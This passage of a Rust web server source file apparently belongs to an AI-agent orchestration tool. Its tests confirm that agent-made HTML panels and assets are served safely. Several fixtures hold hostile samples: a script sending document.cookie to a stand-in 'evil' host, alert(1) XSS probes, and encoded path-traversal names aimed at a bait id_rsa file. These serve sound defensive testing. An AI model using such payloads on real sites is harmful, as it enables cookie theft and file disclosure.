4741
4742fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4746 let raw = headers
4747 .get(header::CONTENT_TYPE)
4748 .and_then(|v| v.to_str().ok())
4749 .unwrap_or("")
4750 .split(';')
4751 .next()
4752 .unwrap_or("")
4753 .trim()
4754 .to_ascii_lowercase();
4755 ATTACHMENT_MIME_WHITELIST
4756 .iter()
4757 .find(|&&m| m == raw)
4758 .copied()
4759 .ok_or_else(|| {
4760 if raw == "image/svg+xml" {
4761 ApiError::bad_request(
4762 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4763 not just a picture",
4764 )
4765 } else if raw.is_empty() {
4766 ApiError::bad_request("Content-Type is required for an attachment upload")
4767 } else {
4768 ApiError::bad_request(format!(
4769 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4770 image/gif or image/webp"
4771 ))
4772 }
4773 })
4774}
4775
4776fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4779 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4780 Some("image/png")
4781 } else if data.starts_with(b"\xff\xd8\xff") {
4782 Some("image/jpeg")
4783 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4784 Some("image/gif")
4785 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4786 Some("image/webp")
4787 } else {
4788 None
4789 }
4790}
4791
4792fn filename_header(headers: &HeaderMap) -> String {
4798 headers
4799 .get(FILENAME_HEADER)
4800 .and_then(|v| v.to_str().ok())
4801 .map(str::trim)
4802 .filter(|s| !s.is_empty())
4803 .unwrap_or("attachment")
4804 .to_owned()
4805}
4806
4807fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4814 let content_type = ATTACHMENT_MIME_WHITELIST
4815 .iter()
4816 .find(|&&m| m == mime)
4817 .copied()
4818 .unwrap_or("application/octet-stream");
4819 (
4820 [
4821 (header::CONTENT_TYPE, content_type),
4822 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4823 ],
4824 body,
4825 )
4826 .into_response()
4827}
4828
4829async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4837 let repo = repo.to_path_buf();
4838 blocking(move || {
4839 let (cfg, _) = Config::discover(&repo, None)?;
4840 Ok(cfg)
4841 })
4842 .await
4843}
4844
4845fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4851 let mut hits = ids
4852 .into_iter()
4853 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4854 match (hits.next(), hits.next()) {
4855 (Some(one), None) => Ok(one),
4856 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4857 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4858 "`{prefix}` matches more than one {what}, including {a} and {b}"
4859 ))),
4860 }
4861}
4862
4863#[cfg(test)]
4864mod tests {
4865 use pretty_assertions::assert_eq;
4866 use serde_json::Value;
4867 use tempfile::TempDir;
4868 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4869
4870 use super::*;
4871 use crate::config::Config;
4872 use crate::queue::{Source, TaskStatus};
4873
4874 const SETTLE_STEPS: usize = 3_000;
4885
4886 struct Fixture {
4892 home: TempDir,
4893 addr: SocketAddr,
4894 }
4895
4896 impl Fixture {
4897 async fn start() -> Self {
4898 Self::with_loop(launch_idle).await
4899 }
4900
4901 async fn with_loop(launch: Launch) -> Self {
4903 let home = TempDir::new().expect("temp home");
4904 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4905 Self { home, addr }
4906 }
4907
4908 async fn with_repo(repo: PathBuf) -> Self {
4912 let home = TempDir::new().expect("temp home");
4913 let addr = Self::serve(home.path(), repo, launch_idle).await;
4914 Self { home, addr }
4915 }
4916
4917 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4918 let queue = Queue::at(home.join("queue"));
4919 let runs = home.join("runs");
4920 std::fs::create_dir_all(&runs).expect("runs dir");
4921 let worktrees = home.join("wt").join("magi");
4922 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4923 let ui = Ui::new(
4924 queue,
4925 Questions::at(home.join("questions")),
4926 Talks::at(home.join("talks")),
4927 runs,
4928 home.to_path_buf(),
4929 repo,
4930 )
4931 .with_worktrees_root(worktrees)
4932 .with_launch(launch);
4933 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4934 .await
4935 .expect("bind loopback");
4936 let addr = listener.local_addr().expect("local addr");
4937 tokio::spawn(async move {
4938 let _ = axum::serve(listener, ui.router()).await;
4939 });
4940 addr
4941 }
4942
4943 fn queue(&self) -> Queue {
4944 Queue::at(self.home.path().join("queue"))
4945 }
4946
4947 fn questions(&self) -> Questions {
4948 Questions::at(self.home.path().join("questions"))
4949 }
4950
4951 fn talks(&self) -> Talks {
4952 Talks::at(self.home.path().join("talks"))
4953 }
4954
4955 fn runs(&self) -> PathBuf {
4956 self.home.path().join("runs")
4957 }
4958
4959 async fn get(&self, path: &str) -> Res {
4960 request(self.addr, "GET", path, None).await
4961 }
4962
4963 async fn head(&self, path: &str) -> Res {
4968 request(self.addr, "HEAD", path, None).await
4969 }
4970
4971 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4972 request(self.addr, "POST", path, body).await
4973 }
4974
4975 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4976 request_with(self.addr, "GET", path, None, extra).await
4977 }
4978
4979 async fn delete(&self, path: &str) -> Res {
4980 request(self.addr, "DELETE", path, None).await
4981 }
4982
4983 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4985 request_bytes(self.addr, path, headers, body).await
4986 }
4987 }
4988
4989 struct Res {
4990 status: u16,
4991 headers: String,
4992 head: String,
4997 body: String,
4998 bytes: Vec<u8>,
5002 }
5003
5004 impl Res {
5005 fn json(&self) -> Value {
5006 serde_json::from_str(&self.body)
5007 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5008 }
5009
5010 fn header(&self, name: &str) -> Option<&str> {
5012 self.head.lines().find_map(|line| {
5013 let (key, value) = line.split_once(':')?;
5014 key.trim()
5015 .eq_ignore_ascii_case(name)
5016 .then(|| value.trim_start().trim_end_matches('\r'))
5017 })
5018 }
5019 }
5020
5021 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5024 request_with(addr, method, path, body, &[]).await
5025 }
5026
5027 async fn request_with(
5031 addr: SocketAddr,
5032 method: &str,
5033 path: &str,
5034 body: Option<&str>,
5035 extra: &[(&str, &str)],
5036 ) -> Res {
5037 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5038 for (name, value) in extra {
5039 head.push_str(&format!("{name}: {value}\r\n"));
5040 }
5041 if let Some(body) = body {
5042 head.push_str("Content-Type: application/json\r\n");
5043 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5044 }
5045 head.push_str("\r\n");
5046 if let Some(body) = body {
5047 head.push_str(body);
5048 }
5049 let mut socket = tokio::net::TcpStream::connect(addr)
5050 .await
5051 .expect("connect to the test server");
5052 socket
5053 .write_all(head.as_bytes())
5054 .await
5055 .expect("write request");
5056 let mut raw = Vec::new();
5057 socket.read_to_end(&mut raw).await.expect("read response");
5058 let split = raw
5061 .windows(4)
5062 .position(|w| w == b"\r\n\r\n")
5063 .expect("a header block");
5064 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5065 let bytes = raw[split + 4..].to_vec();
5066 let status = head
5067 .lines()
5068 .next()
5069 .and_then(|line| line.split_whitespace().nth(1))
5070 .and_then(|code| code.parse().ok())
5071 .expect("a status line");
5072 Res {
5073 status,
5074 headers: head.to_lowercase(),
5075 head,
5076 body: String::from_utf8_lossy(&bytes).into_owned(),
5077 bytes,
5078 }
5079 }
5080
5081 async fn request_bytes(
5087 addr: SocketAddr,
5088 path: &str,
5089 headers: &[(&str, &str)],
5090 body: &[u8],
5091 ) -> Res {
5092 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5093 for (name, value) in headers {
5094 head.push_str(&format!("{name}: {value}\r\n"));
5095 }
5096 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5097 let mut socket = tokio::net::TcpStream::connect(addr)
5098 .await
5099 .expect("connect to the test server");
5100 socket
5101 .write_all(head.as_bytes())
5102 .await
5103 .expect("write request head");
5104 socket.write_all(body).await.expect("write request body");
5105 let mut raw = Vec::new();
5106 socket.read_to_end(&mut raw).await.expect("read response");
5107 let split = raw
5108 .windows(4)
5109 .position(|w| w == b"\r\n\r\n")
5110 .expect("a header block");
5111 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5112 let bytes = raw[split + 4..].to_vec();
5113 let status = head
5114 .lines()
5115 .next()
5116 .and_then(|line| line.split_whitespace().nth(1))
5117 .and_then(|code| code.parse().ok())
5118 .expect("a status line");
5119 Res {
5120 status,
5121 headers: head.to_lowercase(),
5122 head,
5123 body: String::from_utf8_lossy(&bytes).into_owned(),
5124 bytes,
5125 }
5126 }
5127
5128 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5130 let mut state = RunState::new(
5131 PathBuf::from("/repo/magi"),
5132 "main".to_owned(),
5133 "0123456789abcdef".to_owned(),
5134 "Add a web UI\n\nMobile first.".to_owned(),
5135 Config::default(),
5136 );
5137 state.id = id.to_owned();
5138 state.status = status;
5139 let dir = runs.join(id);
5140 std::fs::create_dir_all(&dir).expect("run dir");
5141 std::fs::write(
5142 dir.join("run.json"),
5143 serde_json::to_string_pretty(&state).expect("serialize run"),
5144 )
5145 .expect("write run.json");
5146 }
5147
5148 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5152 let mut state = RunState::new(
5153 PathBuf::from(repo),
5154 "main".to_owned(),
5155 "0123456789abcdef".to_owned(),
5156 "task".to_owned(),
5157 Config::default(),
5158 );
5159 state.id = id.to_owned();
5160 state.status = status;
5161 let dir = runs.join(id);
5162 std::fs::create_dir_all(&dir).expect("run dir");
5163 std::fs::write(
5164 dir.join("run.json"),
5165 serde_json::to_string_pretty(&state).expect("serialize run"),
5166 )
5167 .expect("write run.json");
5168 }
5169
5170 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5171 let body = serde_json::json!({
5172 "schema": 1,
5173 "pid": 4242,
5174 "started_at": Timestamp::now().to_string(),
5175 "updated_at": updated_at.to_string(),
5176 "idle": false,
5177 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5178 "completed": 7,
5179 "polls": 143,
5180 });
5181 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5182 }
5183
5184 fn launch_idle(
5194 _opts: daemon::Opts,
5195 stop: daemon::Stop,
5196 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5197 Box::pin(async move {
5198 while !stop.stopped() {
5199 tokio::time::sleep(Duration::from_millis(2)).await;
5200 }
5201 Ok(())
5202 })
5203 }
5204
5205 fn launch_broken(
5208 _opts: daemon::Opts,
5209 _stop: daemon::Stop,
5210 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5211 Box::pin(async {
5212 Err(anyhow::anyhow!(
5213 "publish the daemon status file: read-only file system"
5214 ))
5215 })
5216 }
5217
5218 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5225 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5226
5227 fn launch_knocking_on_the_way_out(
5234 _opts: daemon::Opts,
5235 stop: daemon::Stop,
5236 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5237 Box::pin(async move {
5238 while !stop.stopped() {
5239 tokio::time::sleep(Duration::from_millis(2)).await;
5240 }
5241 let addr = PARK_KNOCK
5242 .lock()
5243 .expect("park knock")
5244 .expect("the test set an address");
5245 let heard = request(addr, "GET", "/api/health", None).await.status;
5246 *PARK_HEARD.lock().expect("park heard") = Some(heard);
5247 Ok(())
5248 })
5249 }
5250
5251 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5260 for _ in 0..SETTLE_STEPS {
5261 let view = fx.get("/api/loop").await.json();
5262 if want(&view) {
5263 return view;
5264 }
5265 tokio::time::sleep(Duration::from_millis(10)).await;
5266 }
5267 panic!(
5268 "the loop never settled: {}",
5269 fx.get("/api/loop").await.json()
5270 );
5271 }
5272
5273 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5275 let store = fx.questions();
5276 let mut q = Question::new(
5277 "20260902-000000-beef".to_owned(),
5278 "implement".to_owned(),
5279 "impl-A".to_owned(),
5280 summary.to_owned(),
5281 "because it matters".to_owned(),
5282 choices.iter().map(|c| (*c).to_owned()).collect(),
5283 );
5284 store.put(&mut q).expect("put question");
5285 q.id
5286 }
5287
5288 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5294 let store = fx.questions();
5295 let mut q = Question::new(
5296 "20260902-000000-beef".to_owned(),
5297 "land".to_owned(),
5298 "fix".to_owned(),
5299 "Merge this?".to_owned(),
5300 "the diff is in the panel".to_owned(),
5301 vec!["merge".to_owned(), "hold".to_owned()],
5302 );
5303 let staging = fx.home.path().join("staging");
5306 std::fs::create_dir_all(&staging).expect("staging dir");
5307 let sources: Vec<PathBuf> = assets
5308 .iter()
5309 .map(|(name, bytes)| {
5310 let path = staging.join(name);
5311 std::fs::write(&path, bytes).expect("write staged asset");
5312 path
5313 })
5314 .collect();
5315 store
5316 .put_panel(&mut q, html, &sources)
5317 .expect("write the panel");
5318 store.put(&mut q).expect("put question");
5319 q.id
5320 }
5321
5322 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5331 let store = fx.talks();
5332 std::fs::create_dir_all(store.root()).expect("talks dir");
5333 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5334 .expect("serialize a seat");
5335 let body = serde_json::json!({
5336 "schema": 1,
5337 "id": id,
5338 "repo": "/repo/magi",
5339 "agent": "mock",
5340 "status": status,
5341 "turns": [],
5342 "created_at": Timestamp::now().to_string(),
5343 "updated_at": Timestamp::now().to_string(),
5344 "seat": seat,
5345 });
5346 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5347 store.get(id).expect("the seeded talk has to be readable");
5348 id.to_owned()
5349 }
5350
5351 #[tokio::test]
5352 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5353 let fx = Fixture::start().await;
5354 let id = panel(
5355 &fx,
5356 "<h1>Merge?</h1><img src=\"diff.svg\">",
5357 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5358 );
5359
5360 for path in [
5361 format!("/api/questions/{id}/panel"),
5362 format!("/api/questions/{id}/asset/diff.svg"),
5363 ] {
5364 let res = fx.get(&path).await;
5365 assert_eq!(res.status, 200, "{path}: {}", res.body);
5366 assert_eq!(
5372 res.header("content-security-policy"),
5373 Some(
5374 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5375 font-src data:; base-uri 'none'; form-action 'none'; \
5376 frame-ancestors 'self'"
5377 ),
5378 "{path} is the only thing between a hostile panel and the tailnet"
5379 );
5380 assert_eq!(
5381 res.header("x-content-type-options"),
5382 Some("nosniff"),
5383 "{path}: a browser must not re-decide the type we sent"
5384 );
5385 assert_eq!(
5386 res.header("referrer-policy"),
5387 Some("no-referrer"),
5388 "{path}: a panel must not leak the question id off the machine"
5389 );
5390
5391 let pre = fx.head(&path).await;
5396 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5397 assert_eq!(
5398 pre.header("content-security-policy"),
5399 res.header("content-security-policy"),
5400 "{path}: the preflight carries the same policy"
5401 );
5402 assert_eq!(
5403 pre.header("content-type"),
5404 res.header("content-type"),
5405 "{path}: the preflight carries the same type"
5406 );
5407 }
5408 }
5409
5410 #[tokio::test]
5411 async fn a_panel_reaches_the_browser_byte_for_byte() {
5412 let fx = Fixture::start().await;
5413 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
5418 let id = panel(&fx, html, &[]);
5419
5420 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5421
5422 assert_eq!(res.status, 200);
5423 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5424 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5425 assert_eq!(
5426 res.header("content-disposition"),
5427 None,
5428 "the panel itself is rendered in the frame, not downloaded"
5429 );
5430 }
5431
5432 #[tokio::test]
5433 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5434 let fx = Fixture::start().await;
5435 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5436 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5437 let id = panel(
5438 &fx,
5439 "<img src=\"diff.svg\"><img src=\"shot.png\">",
5440 &[("diff.svg", svg), ("shot.png", png)],
5441 );
5442
5443 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5444 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5445
5446 assert_eq!(as_svg.status, 200);
5447 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5448 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5453
5454 assert_eq!(as_png.status, 200);
5455 assert_eq!(as_png.header("content-type"), Some("image/png"));
5456 assert_eq!(
5457 as_png.header("content-disposition"),
5458 None,
5459 "a raster image has no execution surface, so tapping it still shows it"
5460 );
5461 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5462 }
5463
5464 #[tokio::test]
5465 async fn an_html_asset_is_never_served_as_html() {
5466 let fx = Fixture::start().await;
5467 let id = panel(
5468 &fx,
5469 "<p>see the notes</p>",
5470 &[
5471 (
5472 "notes.html",
5473 b"<script>fetch('http://evil/'+document.cookie)</script>",
5474 ),
5475 ("hook.js", b"fetch('http://evil/')"),
5476 ("data.json", b"{}"),
5477 ("HEADLINE.TXT", b"plain"),
5478 ],
5479 );
5480
5481 for name in ["notes.html", "hook.js", "data.json"] {
5482 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5483 assert_eq!(res.status, 200, "{name}: {}", res.body);
5484 assert_eq!(
5489 res.header("content-type"),
5490 Some("application/octet-stream"),
5491 "{name} must not be a type the browser will execute or render"
5492 );
5493 }
5494 let txt = fx
5497 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5498 .await;
5499 assert_eq!(
5500 txt.header("content-type"),
5501 Some("text/plain; charset=utf-8")
5502 );
5503 }
5504
5505 #[tokio::test]
5506 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5507 let fx = Fixture::start().await;
5508 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5509 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5513
5514 for encoded in [
5521 "%2e%2e%2fid_rsa",
5522 "..%2fid_rsa",
5523 "..%5cid_rsa",
5524 "%2e%2e%5cid_rsa",
5525 "diff%00.svg",
5526 "..",
5527 ".hidden",
5528 "%2e%2e%2f%2e%2e%2fid_rsa",
5529 ] {
5530 let res = fx
5531 .get(&format!("/api/questions/{id}/asset/{encoded}"))
5532 .await;
5533 assert_eq!(
5534 res.status, 400,
5535 "`{encoded}` has to be refused by name, not looked up: {}",
5536 res.body
5537 );
5538 assert!(res.json()["error"].is_string(), "{}", res.body);
5539 }
5540
5541 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5547 let res = fx
5548 .get(&format!("/api/questions/{id}/asset/{literal}"))
5549 .await;
5550 assert_eq!(
5551 res.status, 404,
5552 "`{literal}` must not match the asset route at all: {}",
5553 res.body
5554 );
5555 }
5556 }
5557
5558 #[tokio::test]
5559 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5560 let fx = Fixture::start().await;
5561 let plain = ask(&fx, "Which backend?", &["SQLite"]);
5562 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5563
5564 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5568 assert_eq!(none.status, 404, "{}", none.body);
5569 assert!(none.json()["error"].is_string(), "{}", none.body);
5570 assert_eq!(
5571 fx.head(&format!("/api/questions/{plain}/panel"))
5572 .await
5573 .status,
5574 404,
5575 "the preflight is the only way the client can learn this"
5576 );
5577
5578 let missing = fx
5580 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5581 .await;
5582 assert_eq!(missing.status, 404, "{}", missing.body);
5583 assert!(missing.json()["error"].is_string(), "{}", missing.body);
5584
5585 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5587 assert_eq!(
5588 fx.get("/api/questions/nope/asset/diff.svg").await.status,
5589 404
5590 );
5591 }
5592
5593 #[tokio::test]
5594 async fn a_run_with_an_open_question_reads_as_waiting() {
5595 let fx = Fixture::start().await;
5596 let run = "20260902-000000-beef".to_owned();
5597 write_run(&fx.runs(), &run, RunStatus::Implementing);
5598
5599 let before = fx.get("/api/runs").await.json();
5600 assert_eq!(before[0]["waiting"], false, "{before}");
5601
5602 let store = fx.questions();
5603 let mut q = Question::new(
5604 run.clone(),
5605 "implement".to_owned(),
5606 "impl-A".to_owned(),
5607 "Which backend?".to_owned(),
5608 String::new(),
5609 vec!["SQLite".to_owned()],
5610 );
5611 store.put(&mut q).expect("put");
5612
5613 let during = fx.get("/api/runs").await.json();
5614 assert_eq!(during[0]["waiting"], true, "{during}");
5615
5616 q.answer(Answer::Choice("SQLite".to_owned()))
5619 .expect("answer");
5620 store.put(&mut q).expect("put");
5621 let after = fx.get("/api/runs").await.json();
5622 assert_eq!(after[0]["waiting"], false, "{after}");
5623 }
5624
5625 #[tokio::test]
5626 async fn an_open_question_is_listed_and_counted_by_health() {
5627 let fx = Fixture::start().await;
5628 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5629
5630 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5631 let listed = fx.get("/api/questions").await.json();
5632 assert_eq!(listed.as_array().expect("array").len(), 1);
5633 assert_eq!(listed[0]["id"], id);
5634 assert_eq!(listed[0]["status"], "open");
5635 assert_eq!(listed[0]["choices"][1], "Redis");
5636 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5639 }
5640
5641 #[tokio::test]
5642 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5643 let fx = Fixture::start().await;
5644 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5645 let path = format!("/api/questions/{id}/answer");
5646
5647 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5648 assert_eq!(res.status, 200, "{}", res.body);
5649 let body = res.json();
5650 assert_eq!(body["status"], "answered");
5651 assert_eq!(body["answer"]["choice"], "Redis");
5652
5653 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5657 assert_eq!(again.status, 409, "{}", again.body);
5658 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5659 }
5660
5661 #[tokio::test]
5662 async fn saying_something_appends_a_turn_without_answering() {
5663 let fx = Fixture::start().await;
5664 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5665 let path = format!("/api/questions/{id}/say");
5666
5667 let res = fx
5668 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5669 .await;
5670 assert_eq!(res.status, 200, "{}", res.body);
5671 let body = res.json();
5672 assert_eq!(body["status"], "open", "talking back is not a decision");
5673 assert_eq!(body["answer"], Value::Null);
5674 assert_eq!(body["thread"][0]["who"], "operator");
5675 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5676 assert_eq!(body["waiting_on_agent"], true);
5677 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5679 }
5680
5681 #[tokio::test]
5682 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5683 let fx = Fixture::start().await;
5684 let store = fx.questions();
5685 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5686 assert_eq!(
5687 fx.get("/api/health").await.json()["questions_needs_owner"],
5688 1
5689 );
5690
5691 let res = fx
5697 .post(
5698 &format!("/api/questions/{id}/say"),
5699 Some(r#"{"body":"why not Postgres?"}"#),
5700 )
5701 .await;
5702 assert_eq!(res.status, 200, "{}", res.body);
5703 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5704 assert_eq!(
5705 fx.get("/api/health").await.json()["questions_needs_owner"],
5706 0,
5707 "waiting on the agent is not waiting on the owner"
5708 );
5709
5710 let mut q = store.get(&id).expect("get");
5714 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5715 .expect("reply");
5716 store.put(&mut q).expect("put");
5717 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5718 assert_eq!(
5719 fx.get("/api/health").await.json()["questions_needs_owner"],
5720 1,
5721 "the agent's reply is what should light the banner back up"
5722 );
5723 }
5724
5725 #[tokio::test]
5726 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5727 let fx = Fixture::start().await;
5728 let store = fx.questions();
5729
5730 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5731 let res = fx
5732 .post(
5733 &format!("/api/questions/{empty_id}/say"),
5734 Some(r#"{"body":" "}"#),
5735 )
5736 .await;
5737 assert_eq!(res.status, 400, "{}", res.body);
5738
5739 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5740 let mut answered = store.get(&answered_id).expect("get");
5741 answered
5742 .answer(Answer::Choice("SQLite".to_owned()))
5743 .expect("answer");
5744 store.put(&mut answered).expect("put");
5745 let res = fx
5746 .post(
5747 &format!("/api/questions/{answered_id}/say"),
5748 Some(r#"{"body":"still there?"}"#),
5749 )
5750 .await;
5751 assert_eq!(res.status, 409, "{}", res.body);
5752
5753 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5754 let mut abandoned = store.get(&abandoned_id).expect("get");
5755 abandoned.abandon("timed out");
5756 store.put(&mut abandoned).expect("put");
5757 let res = fx
5758 .post(
5759 &format!("/api/questions/{abandoned_id}/say"),
5760 Some(r#"{"body":"still there?"}"#),
5761 )
5762 .await;
5763 assert_eq!(res.status, 409, "{}", res.body);
5764 }
5765
5766 #[tokio::test]
5767 async fn an_answer_the_question_does_not_offer_is_refused() {
5768 let fx = Fixture::start().await;
5769 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5770 let path = format!("/api/questions/{id}/answer");
5771
5772 for body in [
5773 r#"{"choice":"Postgres"}"#,
5774 r#"{"text":"whatever you think"}"#,
5775 r#"{"choice":"Redis","text":"both"}"#,
5776 r#"{}"#,
5777 ] {
5778 let res = fx.post(&path, Some(body)).await;
5779 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5780 assert!(res.json()["error"].is_string(), "{}", res.body);
5781 }
5782 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5784 }
5785
5786 #[tokio::test]
5787 async fn a_free_text_question_takes_text_and_not_a_choice() {
5788 let fx = Fixture::start().await;
5789 let id = ask(&fx, "What should the flag be called?", &[]);
5790 let path = format!("/api/questions/{id}/answer");
5791
5792 assert_eq!(
5793 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5794 400
5795 );
5796 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5797 assert_eq!(res.status, 200, "{}", res.body);
5798 assert_eq!(res.json()["answer"]["text"], "--json");
5799 }
5800
5801 #[tokio::test]
5802 async fn an_unknown_question_is_a_json_404() {
5803 let fx = Fixture::start().await;
5804 let res = fx
5805 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5806 .await;
5807 assert_eq!(res.status, 404, "{}", res.body);
5808 assert!(res.json()["error"].is_string());
5809 }
5810
5811 #[tokio::test]
5812 async fn notifications_list_read_dismiss_and_health_agree() {
5813 let fx = Fixture::start().await;
5814 let store = Notices::at(fx.home.path().join("notifications"));
5815 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5816 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5817
5818 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5819 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5820
5821 let health = fx.get("/api/health").await.json();
5822 assert_eq!(health["notifications_unread"], 2);
5823 assert_ne!(
5824 health["notifications_rev"], rev0,
5825 "the badge must move live"
5826 );
5827
5828 let listed = fx.get("/api/notifications").await.json();
5829 assert_eq!(listed["unread"], 2);
5830 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5831 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5832
5833 let read = fx
5834 .post(&format!("/api/notifications/{}/read", a.id), None)
5835 .await;
5836 assert_eq!(read.status, 200, "{}", read.body);
5837 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5838
5839 let gone = fx
5840 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5841 .await;
5842 assert_eq!(gone.status, 200, "{}", gone.body);
5843 let listed = fx.get("/api/notifications").await.json();
5844 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5845 assert_eq!(listed["unread"], 0);
5846
5847 store.raise(Notice::info("x", "again")).unwrap();
5848 let all = fx.post("/api/notifications/read-all", None).await;
5849 assert_eq!(all.status, 200, "{}", all.body);
5850 assert_eq!(all.json()["marked"], 1);
5851 assert_eq!(
5852 fx.get("/api/health").await.json()["notifications_unread"],
5853 0
5854 );
5855
5856 let missing = fx.post("/api/notifications/nope/read", None).await;
5857 assert_eq!(missing.status, 404, "{}", missing.body);
